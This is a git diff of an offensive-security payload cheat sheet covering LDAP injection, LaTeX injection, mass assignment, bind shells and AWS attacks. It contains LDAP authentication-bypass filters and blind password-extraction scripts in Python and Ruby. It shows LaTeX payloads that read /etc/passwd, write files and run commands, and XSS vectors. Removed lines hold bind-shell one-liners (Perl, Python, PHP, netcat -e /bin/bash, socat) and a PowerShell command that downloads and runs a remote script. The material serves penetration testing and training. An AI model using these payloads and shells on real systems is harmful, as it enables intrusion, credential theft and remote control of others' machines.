Attempt to manipulate the filter logic by injecting always-true conditions.
|
||||||
|
|
||||||
|
**Example 1**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
user = *)(uid=*))(|(uid=*
|
user = *)(uid=*))(|(uid=*
|
||||||
@@ -23,7 +33,7 @@ pass = password
|
|||||||
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
|
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
|
||||||
```
|
```
|
||||||
|
|
||||||
Example 2
|
**Example 2**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
user = admin)(!(&(1=0
|
user = admin)(!(&(1=0
|
||||||
@@ -31,34 +41,10 @@ pass = q))
|
|||||||
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
|
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
|
||||||
```
|
```
|
||||||
|
|
||||||
## Payloads
|
|
||||||
|
|
||||||
```text
|
### Blind Exploitation
|
||||||
*
|
|
||||||
*)(&
|
|
||||||
*))%00
|
|
||||||
)(cn=))\x00
|
|
||||||
*()|%26'
|
|
||||||
*()|&'
|
|
||||||
*(|(mail=*))
|
|
||||||
*(|(objectclass=*))
|
|
||||||
*)(uid=*))(|(uid=*
|
|
||||||
*/*
|
|
||||||
*|
|
|
||||||
/
|
|
||||||
//
|
|
||||||
//*
|
|
||||||
@*
|
|
||||||
|
|
|
||||||
admin*
|
|
||||||
admin*)((|userpassword=*)
|
|
||||||
admin*)((|userPassword=*)
|
|
||||||
x' or name()='username' or 'x'='y
|
|
||||||
```
|
|
||||||
|
|
||||||
## Blind Exploitation
|
This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
|
||||||
|
|
||||||
We can extract using a bypass login
|
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
(&(sn=administrator)(password=*)) : OK
|
(&(sn=administrator)(password=*)) : OK
|
||||||
@@ -78,7 +64,14 @@ We can extract using a bypass login
|
|||||||
(&(sn=administrator)(password=MYKE)) : OK
|
(&(sn=administrator)(password=MYKE)) : OK
|
||||||
```
|
```
|
||||||
|
|
||||||
## Defaults attributes
|
**LDAP Filter Breakdown**
|
||||||
|
|
||||||
|
* `&`: Logical AND operator, meaning all conditions inside must be true.
|
||||||
|
* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
|
||||||
|
* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
|
||||||
|
|
||||||
|
|
||||||
|
## Defaults Attributes
|
||||||
|
|
||||||
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
|
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
|
||||||
|
|
||||||
@@ -94,7 +87,8 @@ givenName
|
|||||||
commonName
|
commonName
|
||||||
```
|
```
|
||||||
|
|
||||||
## Exploiting userPassword attribute
|
|
||||||
|
## Exploiting userPassword Attribute
|
||||||
|
|
||||||
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
|
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
|
||||||
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
|
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
|
||||||
@@ -109,23 +103,20 @@ userPassword:2.5.13.18:=\xx\xx\xx
|
|||||||
|
|
||||||
## Scripts
|
## Scripts
|
||||||
|
|
||||||
### Discover valid LDAP fields
|
### Discover Valid LDAP Fields
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
import string
|
import string
|
||||||
|
|
||||||
fields = []
|
fields = []
|
||||||
|
|
||||||
url = 'https://URL.com/'
|
url = 'https://URL.com/'
|
||||||
|
f = open('dic', 'r')
|
||||||
f = open('dic', 'r') #Open the wordlists of common attributes
|
world = f.read().split('\n')
|
||||||
wordl = f.read().split('\n')
|
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
for i in wordl:
|
for i in world:
|
||||||
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
|
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
|
||||||
if 'TRUE CONDITION' in r.text:
|
if 'TRUE CONDITION' in r.text:
|
||||||
fields.append(str(i))
|
fields.append(str(i))
|
||||||
@@ -133,13 +124,10 @@ for i in wordl:
|
|||||||
print(fields)
|
print(fields)
|
||||||
```
|
```
|
||||||
|
|
||||||
Ref. [5][5]
|
### Special Blind LDAP Injection
|
||||||
|
|
||||||
### Special blind LDAP injection (without "*")
|
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
import requests, string
|
import requests, string
|
||||||
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||||||
|
|
||||||
@@ -154,16 +142,14 @@ for i in range(50):
|
|||||||
break
|
break
|
||||||
```
|
```
|
||||||
|
|
||||||
Ref. [5][5]
|
Exploitation script by [@noraj](https://github.com/noraj)
|
||||||
|
|
||||||
```ruby
|
```ruby
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
require 'net/http'
|
require 'net/http'
|
||||||
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
|
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
|
||||||
|
|
||||||
flag = ''
|
flag = ''
|
||||||
|
|
||||||
(0..50).each do |i|
|
(0..50).each do |i|
|
||||||
puts("[i] Looking for number #{i}")
|
puts("[i] Looking for number #{i}")
|
||||||
alphabet.each do |char|
|
alphabet.each do |char|
|
||||||
@@ -177,21 +163,19 @@ flag = ''
|
|||||||
end
|
end
|
||||||
```
|
```
|
||||||
|
|
||||||
By [noraj](https://github.com/noraj)
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
|
||||||
|
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
|
- [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
|
||||||
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
|
- [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
|
||||||
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
|
- [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
|
||||||
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
|
- [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
|
||||||
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
|
- [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
|
||||||
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
|
- [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
|
||||||
* SSH key authentication via LDAP
|
- [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)
|
||||||
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
|
|
||||||
- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
|
|
||||||
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
|
|
||||||
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
|
|
||||||
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
|
|
||||||
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
|
|
||||||
@@ -1,6 +1,24 @@
|
|||||||
# LaTex Injection
|
# LaTeX Injection
|
||||||
|
|
||||||
## Read file
|
> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [File Manipulation](#file-manipulation)
|
||||||
|
* [Read File](#read-file)
|
||||||
|
* [Write File](#write-file)
|
||||||
|
* [Command Execution](#command-execution)
|
||||||
|
* [Cross Site Scripting](#cross-site-scripting)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## File Manipulation
|
||||||
|
|
||||||
|
### Read File
|
||||||
|
|
||||||
|
Attackers can read the content of sensitive files on the server.
|
||||||
|
|
||||||
Read file and interpret the LaTeX code in it:
|
Read file and interpret the LaTeX code in it:
|
||||||
|
|
||||||
@@ -22,6 +40,7 @@ Read single lined file:
|
|||||||
Read multiple lined file:
|
Read multiple lined file:
|
||||||
|
|
||||||
```tex
|
```tex
|
||||||
|
\lstinputlisting{/etc/passwd}
|
||||||
\newread\file
|
\newread\file
|
||||||
\openin\file=/etc/passwd
|
\openin\file=/etc/passwd
|
||||||
\loop\unless\ifeof\file
|
\loop\unless\ifeof\file
|
||||||
@@ -50,7 +69,15 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
|
|||||||
\input{path_to_script.pl}
|
\input{path_to_script.pl}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Write file
|
To bypass a blacklist try to replace one character with it's unicode hex value.
|
||||||
|
- ^^41 represents a capital A
|
||||||
|
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\lstin^^70utlisting{/etc/passwd}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Write File
|
||||||
|
|
||||||
Write single lined file:
|
Write single lined file:
|
||||||
|
|
||||||
@@ -63,7 +90,8 @@ Write single lined file:
|
|||||||
\closeout\outfile
|
\closeout\outfile
|
||||||
```
|
```
|
||||||
|
|
||||||
## Command execution
|
|
||||||
|
## Command Execution
|
||||||
|
|
||||||
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
||||||
|
|
||||||
@@ -84,6 +112,7 @@ If you get any LaTex error, consider using base64 to get the result without bad
|
|||||||
\input{|"/bin/hostname"}
|
\input{|"/bin/hostname"}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Cross Site Scripting
|
## Cross Site Scripting
|
||||||
|
|
||||||
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
@@ -93,10 +122,21 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||||||
\href{javascript:alert(1)}{placeholder}
|
\href{javascript:alert(1)}{placeholder}
|
||||||
```
|
```
|
||||||
|
|
||||||
Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`
|
In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
|
||||||
|
* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
|
- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
|
||||||
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
|
- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
|
||||||
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||||
43
Mass Assignment/README.md
Normal file
43
Mass Assignment/README.md
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
# Mass Assignment
|
||||||
|
|
||||||
|
> A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
|
||||||
|
|
||||||
|
For instance, consider a web application that uses an ORM and has a user object with the attributes `username`, `email`, `password`, and `isAdmin`. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.
|
||||||
|
|
||||||
|
However, an attacker may attempt to add an `isAdmin` parameter to the incoming data like so:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"username": "attacker",
|
||||||
|
"email": "attacker@email.com",
|
||||||
|
"password": "unsafe_password",
|
||||||
|
"isAdmin": true
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
|
||||||
|
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
|
||||||
|
* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
|
||||||
|
- [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
|
||||||
|
- [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,95 +1,13 @@
|
|||||||
# Bind Shell
|
# Bind Shell
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/)
|
||||||
|
|
||||||
* [Bind Shell](#bind-shell)
|
- [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl)
|
||||||
* [Perl](#perl)
|
- [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python)
|
||||||
* [Python](#python)
|
- [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php)
|
||||||
* [PHP](#php)
|
- [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby)
|
||||||
* [Ruby](#ruby)
|
- [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional)
|
||||||
* [Netcat Traditional](#netcat-traditional)
|
- [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
|
||||||
* [Netcat OpenBsd](#netcat-openbsd)
|
- [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
|
||||||
* [Ncat](#ncat)
|
- [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
|
||||||
* [Socat](#socat)
|
- [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)
|
||||||
* [Powershell](#powershell)
|
|
||||||
|
|
||||||
|
|
||||||
## Perl
|
|
||||||
|
|
||||||
```perl
|
|
||||||
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
|
|
||||||
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
|
||||||
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Python
|
|
||||||
|
|
||||||
Single line :
|
|
||||||
```python
|
|
||||||
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
|
|
||||||
```
|
|
||||||
|
|
||||||
Expanded version :
|
|
||||||
|
|
||||||
```python
|
|
||||||
import socket as s,subprocess as sp;
|
|
||||||
|
|
||||||
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
|
|
||||||
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
|
|
||||||
s1.bind(("0.0.0.0", 51337));
|
|
||||||
s1.listen(1);
|
|
||||||
c, a = s1.accept();
|
|
||||||
|
|
||||||
while True:
|
|
||||||
d = c.recv(1024).decode();
|
|
||||||
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
|
|
||||||
c.sendall(p.stdout.read()+p.stderr.read())
|
|
||||||
```
|
|
||||||
|
|
||||||
## PHP
|
|
||||||
|
|
||||||
```php
|
|
||||||
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
|
|
||||||
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
|
|
||||||
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
|
|
||||||
socket_write($cl,$m,strlen($m));}}'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Ruby
|
|
||||||
|
|
||||||
```ruby
|
|
||||||
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Netcat Traditional
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
nc -nlvp 51337 -e /bin/bash
|
|
||||||
```
|
|
||||||
|
|
||||||
## Netcat OpenBsd
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
|
|
||||||
```
|
|
||||||
|
|
||||||
## Socat
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
|
|
||||||
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
|
|
||||||
```
|
|
||||||
|
|
||||||
## Powershell
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://github.com/besimorhino/powercat
|
|
||||||
|
|
||||||
# Victim (listen)
|
|
||||||
. .\powercat.ps1
|
|
||||||
powercat -l -p 7002 -ep
|
|
||||||
|
|
||||||
# Connect from attacker
|
|
||||||
. .\powercat.ps1
|
|
||||||
powercat -c 127.0.0.1 -p 7002
|
|
||||||
```
|
|
||||||
@@ -1,709 +1,17 @@
|
|||||||
# AWS
|
# Cloud - AWS
|
||||||
|
|
||||||
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
|
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
|
||||||
|
|
||||||
## Summary
|
- [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/)
|
||||||
|
- [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/)
|
||||||
- [AWS](#aws)
|
- [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/)
|
||||||
- [Summary](#summary)
|
- [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/)
|
||||||
- [Training](#training)
|
- [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/)
|
||||||
- [Tools](#tools)
|
- [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/)
|
||||||
- [AWS Patterns](#aws-patterns)
|
- [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/)
|
||||||
- [AWS - Metadata SSRF](#aws---metadata-ssrf)
|
- [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/)
|
||||||
- [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
|
- [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/)
|
||||||
- [Method for Container Service (Fargate)](#method-for-container-service-fargate)
|
- [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
|
||||||
- [AWS API calls that return credentials](#aws-api-calls-that-return-credentials)
|
- [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
|
||||||
- [AWS - Shadow Admin](#aws---shadow-admin)
|
- [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
|
||||||
- [Admin equivalent permission](#admin-equivalent-permission)
|
- [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)
|
||||||
- [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
|
|
||||||
- [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
|
|
||||||
- [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
|
|
||||||
- [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
|
|
||||||
- [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
|
|
||||||
- [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
|
|
||||||
- [AWS - SSM - Command execution](#aws---ssm---command-execution)
|
|
||||||
- [AWS - Golden SAML Attack](#aws---golden-saml-attack)
|
|
||||||
- [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
|
|
||||||
- [Disable CloudTrail](#disable-cloudtrail)
|
|
||||||
- [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
|
|
||||||
- [DynamoDB](#dynamodb)
|
|
||||||
- [Security checks](#security-checks)
|
|
||||||
- [References](#references)
|
|
||||||
|
|
||||||
## Training
|
|
||||||
|
|
||||||
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
|
|
||||||
* SadCloud - https://github.com/nccgroup/sadcloud
|
|
||||||
* Flaws - http://flaws.cloud
|
|
||||||
* Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
* [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
|
|
||||||
* Requires read-Only permissions over IAM service
|
|
||||||
```powershell
|
|
||||||
$ git clone https://github.com/cyberark/SkyArk
|
|
||||||
$ powershell -ExecutionPolicy Bypass -NoProfile
|
|
||||||
PS C> Import-Module .\SkyArk.ps1 -force
|
|
||||||
PS C> Start-AWStealth
|
|
||||||
|
|
||||||
or in the Cloud Console
|
|
||||||
|
|
||||||
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
|
|
||||||
PS C> Scan-AWShadowAdmins
|
|
||||||
```
|
|
||||||
|
|
||||||
* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
|
|
||||||
* Requires AWS Keys
|
|
||||||
```powershell
|
|
||||||
$ git clone https://github.com/RhinoSecurityLabs/pacu
|
|
||||||
$ bash install.sh
|
|
||||||
$ python3 pacu.py
|
|
||||||
set_keys/swap_keys
|
|
||||||
ls
|
|
||||||
run <module_name> [--keyword-arguments]
|
|
||||||
run <module_name> --regions eu-west-1,us-west-1
|
|
||||||
|
|
||||||
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
|
|
||||||
```
|
|
||||||
|
|
||||||
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
|
|
||||||
```powershell
|
|
||||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
|
||||||
./bucket_finder.rb my_words
|
|
||||||
./bucket_finder.rb --region ie my_words
|
|
||||||
US Standard = http://s3.amazonaws.com
|
|
||||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
|
||||||
Northern California = http://s3-us-west-1.amazonaws.com
|
|
||||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
|
||||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
|
||||||
|
|
||||||
./bucket_finder.rb --download --region ie my_words
|
|
||||||
./bucket_finder.rb --log-file bucket.out my_words
|
|
||||||
```
|
|
||||||
|
|
||||||
* [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
|
|
||||||
```python
|
|
||||||
import boto3
|
|
||||||
# Create an S3 client
|
|
||||||
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
|
|
||||||
|
|
||||||
try:
|
|
||||||
result = s3.list_buckets()
|
|
||||||
print(result)
|
|
||||||
except Exception as e:
|
|
||||||
print(e)
|
|
||||||
```
|
|
||||||
|
|
||||||
* [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
|
|
||||||
|
|
||||||
> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
|
|
||||||
* Require: arn:aws:iam::aws:policy/SecurityAudit
|
|
